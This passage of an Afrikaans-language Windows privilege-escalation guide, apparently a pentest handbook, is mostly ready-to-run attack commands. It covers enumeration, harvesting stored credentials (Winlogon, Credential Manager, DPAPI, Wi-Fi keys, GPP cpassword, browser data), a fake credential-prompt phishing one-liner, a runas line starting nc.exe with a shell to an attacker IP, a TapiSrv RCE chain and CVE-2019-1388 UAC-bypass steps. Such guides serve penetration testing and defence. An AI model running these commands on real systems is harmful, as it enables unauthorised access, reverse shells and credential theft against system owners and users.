- Moniteer user-mode opens van verdagte device name (e.g., \ .\amsdk*) en spesifieke IOCTL-reekse wat misbruik aandui.
- Dwing Microsoft se bloklys vir kwesbare drivers af (HVCI/WDAC/Smart App Control) en behou jou eie allow/deny-lyste.
PATH DLL Hijacking
If you have skryftoestemmings in ’n vouer wat op PATH voorkom you could be able to hijack a DLL loaded by a process and escalate privileges.
Kontroleer toestemmings van alle vouers in PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Vir meer inligting oor hoe om hierdie kontrole te misbruik:
Writable Sys Path +Dll Hijacking Privesc
Netwerk
Gedeelde vouers
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Kyk vir ander bekende rekenaars wat hardgekodeer is in die hosts file
type C:\Windows\System32\drivers\etc\hosts
Netwerkkoppelvlakke & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Oop Poorte
Kontroleer vir beperkte dienste van buite
netstat -ano #Opened ports?
Roetetabel
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP-tabel
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Reëls
Kyk na hierdie bladsy vir Firewall verwante opdragte (lys reëls, skep reëls, afskakel, afskakel…)
Meer opdragte vir netwerk-enumerasie hier
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Die binêre bash.exe kan ook gevind word in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
As jy die root-gebruiker kry, kan jy na enige poort luister (die eerste keer wat jy nc.exe gebruik om na ’n poort te luister, sal dit via die GUI vra of nc deur die firewall toegelaat moet word).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Om maklik bash as root te begin, kan jy --default-user root probeer
Jy kan die WSL lêerstelsel verken in die gids C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Inlogbewyse
Winlogon Inlogbewyse
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Kredensiaalbestuurder / Windows Vault
Vanaf https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Die Windows Vault stoor gebruikerskredensiale vir bedieners, webwerwe en ander programme wat Windows outomaties vir gebruikers kan aanmeld. Op die oog af mag dit lyk asof gebruikers nou hul Facebook-, Twitter-, Gmail-kredensiale, ens. kan stoor sodat hulle outomaties via blaaiers aanmeld. Maar dit is nie so nie.
Windows Vault stoor kredensiale wat deur Windows outomaties gebruik kan word, wat beteken dat enige Windows application that needs credentials to access a resource (bediener of webwerf) can make use of this Credential Manager & Windows Vault en die verskafde kredensiale kan gebruik in plaas daarvan dat gebruikers altyd die gebruikersnaam en wagwoord hoef in te voer.
Tensy die toepassings met Credential Manager kommunikeer, dink ek nie dit is moontlik vir hulle om die kredensiale vir ’n gegewe hulpbron te gebruik nie. As jou toepassing dus van die vault wil gebruik maak, moet dit op een of ander wyse met die credential manager kommunikeer en die kredensiale vir daardie hulpbron vanaf die standaard stoorvault versoek.
Gebruik die cmdkey om die gestoorde kredensiale op die masjien te lys.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Dan kan jy runas met die /savecred opsies gebruik om die saved credentials te gebruik. Die volgende voorbeeld roep ’n remote binary via ’n SMB share aan.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Gebruik runas met ’n verskafde stel credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Let daarop dat mimikatz, lazagne, credentialfileview, VaultPasswordView, of die Empire Powershells module.
DPAPI
Die Data Protection API (DPAPI) bied ’n metode vir symmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die symmetriese enkripsie van asymmetriese private keys. Hierdie enkripsie maak gebruik van ’n gebruiker- of stelselgeheim wat ’n beduidende bydrae tot entropie lewer.
DPAPI stel die enkripsie van sleutels in staat deur ’n symmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheimenisse. In gevalle van stelsel-enkripsie gebruik dit die stelsel se domeinverifikasiegeheimenisse.
Versleutelde gebruikers RSA-sleutels, deur DPAPI gebruik, word gestoor in die %APPDATA%\Microsoft\Protect{SID} gids, waar {SID} die gebruiker se Security Identifier voorstelt. Die DPAPI key, saamge-lokaliseer met die master key wat die gebruiker se private keys in dieselfde lêer beveilig, bestaan tipies uit 64 bytes ewekansige data. (Dit is belangrik om daarop te let dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud met die dir opdrag in CMD gelys word, alhoewel dit deur PowerShell gelys kan word).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Jy kan die mimikatz module dpapi::masterkey met die toepaslike argumente (/pvk of /rpc) gebruik om dit te ontsleutel.
Die credentials-lêers wat deur die master-wagwoord beskerm word is gewoonlik geleë in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Jy kan die mimikatz module dpapi::cred met die toepaslike /masterkey gebruik om te ontsleutel.
Jy kan onttrek baie DPAPI masterkeys uit memory met die sekurlsa::dpapi module (as jy root is).
PowerShell Credentials
PowerShell credentials word dikwels gebruik vir scripting en automatiseringstake as ’n manier om encrypted credentials gerieflik te stoor. Die credentials word beskerm met DPAPI, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waar hulle geskep is, ontsleutel kan word.
Om ’n PS credentials uit die lêer wat dit bevat te ontsleutel kan jy doen:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Gestoorde RDP-verbindinge
Jy kan hulle vind op HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
en in HKCU\Software\Microsoft\Terminal Server Client\Servers\
Onlangs uitgevoerde kommando’s
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Afstandslessenaar Kredensiaalbestuurder
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Gebruik die Mimikatz dpapi::rdg module met die toepaslike /masterkey om enige .rdg-lêers te ontsleutel
Jy kan baie DPAPI masterkeys uit geheue onttrek met die Mimikatz sekurlsa::dpapi module
Sticky Notes
Mense gebruik dikwels die StickyNotes app op Windows-werkstasies om wagwoorde te stoor en ander inligting, sonder om te besef dat dit ’n databasislêer is. Hierdie lêer is geleë by C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite en is altyd die moeite werd om daarna te soek en te ondersoek.
AppCmd.exe
Let wel dat om wagwoorde uit AppCmd.exe te herstel jy Administrator moet wees en dit onder ’n High Integrity level moet laat loop.
AppCmd.exe is geleë in die %systemroot%\system32\inetsrv\ directory.
As hierdie lêer bestaan, is dit moontlik dat sekere credentials gekonfigureer is en herkry kan word.
Hierdie kode is onttrek vanaf PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Kontroleer of C:\Windows\CCM\SCClient.exe bestaan .
Installers word met SYSTEM-regte uitgevoer, baie is kwesbaar vir DLL Sideloading (Inligting van https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Lêers en Register (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH gasheer-sleutels
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys in registry
SSH private keys kan binne die registersleutel HKCU\Software\OpenSSH\Agent\Keys gestoor word, dus moet jy kyk of daar iets interessant daarin is:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
As jy enige inskrywing binne daardie pad vind, sal dit waarskynlik ’n gestoorde SSH-sleutel wees. Dit word versleuteld gestoor maar kan maklik gedekripteer word met behulp van https://github.com/ropnop/windows_sshagent_extract.
Meer inligting oor hierdie tegniek hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
As die ssh-agent-diens nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer uit:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om ’n paar ssh-sleutels te skep, dit met
ssh-addby te voeg en via ssh by ’n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik vandpapi.dlltydens die asymmetriese sleutelverifikasie geïdentifiseer nie.
Onbewaakte lêers
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Jy kan ook na hierdie lêers soek met metasploit: post/windows/gather/enum_unattend
Voorbeeldinhoud:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM- en SYSTEM-rugsteunkopieë
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Cloud-inlogbesonderhede
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Gecachte GPP Wagwoord
Daar was voorheen ’n funksie beskikbaar wat die implementering van pasgemaakte plaaslike administratorrekeninge op ’n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), gestoor as XML-lêers in SYSVOL, deur enige domeingebruiker geraadpleeg word. Tweedens kon die wagwoorde binne hierdie GPPs, versleuteld met AES256 en gebruikmakend van ’n publiek gedokumenteerde standaard sleutel, deur enige geverifieerde gebruiker gedekripteer word. Dit het ’n ernstige risiko geskep, aangesien dit gebruikers sou toestaan om verhoogde voorregte te verkry.
Om hierdie risiko te verminder, is ’n funksie ontwikkel om plaaslik gecachte GPP-lêers te skandeer wat ’n “cpassword” veld bevat wat nie leeg is nie. Wanneer so ’n lêer gevind word, ontsleutel die funksie die wagwoord en gee ’n pasgemaakte PowerShell object terug. Hierdie objek sluit besonderhede oor die GPP en die lêer se ligging in, wat help met die identifisering en remediëring van hierdie sekuriteitskwesbaarheid.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Om die cPassword te ontsleutel:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Gebruik crackmapexec om die wagwoorde te kry:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web-konfigurasie
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Voorbeeld van web.config met credentials:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN aanmeldbewyse
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logs
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Vra vir credentials
Jy kan altyd die gebruiker vra om sy credentials of selfs die credentials van ’n ander gebruiker in te voer as jy dink hy dit mag weet (let daarop dat dit regtig riskant is om die kliënt direk vir die credentials te vra):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Moontlike lêernamen wat credentials bevat
Bekende lêers wat ’n tyd gelede passwords in clear-text of Base64 bevat het.
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Soek al die voorgestelde lêers:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Credentials in die RecycleBin
Jy moet ook die Bin nagaan vir credentials daarin
Om wagwoorde te herstel wat deur verskeie programme gestoor is, kan jy gebruik: http://www.nirsoft.net/password_recovery_tools.html
Binne die registry
Ander moontlike registry-sleutels met credentials
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Blaaiergeskiedenis
Jy moet kyk na dbs waar wagwoorde van Chrome or Firefox gestoor word.
Kyk ook na die geskiedenis, bladmerke en gunstelinge van die blaaiers — dalk is sommige passwords are daar gestoor.
Gereedskap om passwords uit blaaiers te onttrek:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) is ’n tegnologie ingebou in die Windows bedryfstelsel wat interkommunikasie tussen sagtewarekomponente in verskillende tale moontlik maak. Elke COM-komponent is identified via a class ID (CLSID) en elke komponent bied funksionaliteit aan via een of meer interfaces, geïdentifiseer deur interface IDs (IIDs).
COM classes and interfaces word in die register gedefinieer onder HKEY\CLASSES\ROOT\CLSID en HKEY\CLASSES\ROOT\Interface onderskeidelik. Hierdie register word geskep deur die samevoeging van HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
.png)
In wese, as jy kan overwrite any of the DLLs wat uitgevoer gaan word, kan jy escalate privileges as daardie DLL deur ’n ander gebruiker uitgevoer gaan word.
Om te leer hoe aanvallers COM Hijacking as ’n persistensie-meganisme gebruik, kyk:
Generiese Password search in files and registry
Soek na lêerinnehoud
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Soek na ’n lêer met ’n bepaalde lêernaam
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Soek die registry vir key names en passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Gereedskap wat na passwords soek
MSF-Credentials Plugin is a msf plugin; ek het hierdie plugin geskep om automatically execute every metasploit POST module that searches for credentials binne die slagoffer uit te voer.\
Winpeas soek outomaties na al die lêers wat passwords bevat wat op hierdie bladsy genoem word.\
Lazagne is nog ’n uitstekende tool om password uit ’n stelsel te onttrek.
Die tool SessionGopher soek na sessions, usernames en passwords van verskeie tools wat hierdie data in clear text stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Lees hierdie voorbeeld vir meer inligting oor hoe om hierdie kwesbaarheid te ontdek en uit te buit.
Lees hierdie ander post vir ’n meer volledige verduideliking oor hoe om meer open handlers van prosesse en drade te toets en misbruik wat met verskillende vlakke van permissies geërf word (nie net full access nie).
Named Pipe Client Impersonation
Gedeelde geheue-segmente, verwys na as pipes, maak proseskommunikasie en data-oordrag moontlik.
Windows verskaf ’n funksie genaamd Named Pipes, wat toelaat dat ongelyksoortige prosesse data deel, selfs oor verskillende netwerke. Dit lyk soos ’n client/server-argitektuur, met rolle gedefinieer as named pipe server en named pipe client.
Wanneer data deur ’n pipe deur ’n client gestuur word, het die server wat die pipe opgestel het die vermoë om die identiteit van die client aan te neem, mits dit die nodige SeImpersonate rights het. Om ’n bevoorregte proses te identifiseer wat via ’n pipe kommunikeer wat jy kan naboots, bied die geleentheid om hoër voorregte te verkry deur die identiteit van daardie proses aan te neem sodra dit met die pipe wat jy opgestel het interakteer. Vir instruksies oor die uitvoering van so ’n aanval, vind bruikbare gidse hier en hier.
Ook, die volgende tool laat toe om ’n named pipe-kommunikasie te onderskep met ’n tool soos burp: https://github.com/gabriel-sztejnworcel/pipe-intercept en hierdie tool laat toe om alle pipes te lys en te sien om privescs te vind https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
ClientAttachwithpszDomainUserset to a writable existing path → the service opens it viaCreateFileW(..., OPEN_EXISTING)and uses it for async event writes.- Each event writes the attacker-controlled
InitContextfromInitializeto that handle. Register a line app withLRegisterRequestRecipient(Req_Func 61), triggerTRequestMakeCall(Req_Func 121), fetch viaGetAsyncEvents(Req_Func 0), then unregister/shutdown to repeat deterministic writes. - Add yourself to
[TapiAdministrators]inC:\Windows\TAPI\tsec.ini, reconnect, then callGetUIDllNamewith an arbitrary DLL path to executeTSPI_providerUIIdentifyasNETWORK SERVICE.
More details:
Telephony Tapsrv Arbitrary Dword Write To Rce
Diverses
Lêeruitbreidings wat dinge in Windows kan uitvoer
Sien die bladsy https://filesec.io/
Protocol handler / ShellExecute abuse via Markdown renderers
Clickable Markdown links forwarded to ShellExecuteExW can trigger dangerous URI handlers (file:, ms-appinstaller: or any registered scheme) and execute attacker-controlled files as the current user. See:
Protocol Handler Shell Execute Abuse
Monitering van opdragreëls vir wagwoorde
Wanneer jy ’n shell as ’n gebruiker kry, kan daar geskeduleerde take of ander prosesse uitgevoer word wat credentials op die command line deurgee. Die onderstaande script vang proses command lines elke twee sekondes en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Steel wagwoorde uit prosesse
Van Low Priv User na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC geaktiveer is, is dit in sommige weergawes van Microsoft Windows moontlik om ’n terminal of enige ander proses soos “NT\AUTHORITY SYSTEM” te laat loop vanaf ’n onvolmagte gebruiker.
Dit maak dit moontlik om privilegies op te skerp en UAC terselfdertyd te omseil met dieselfde kwetsbaarheid. Daarbenewens hoef niks geïnstalleer te word nie en die binary wat tydens die proses gebruik word, is signed en uitgegee deur Microsoft.
Sommige van die geaffekteerde stelsels is die volgende:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Om hierdie kwesbaarheid uit te buit, is dit nodig om die volgende stappe uit te voer:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
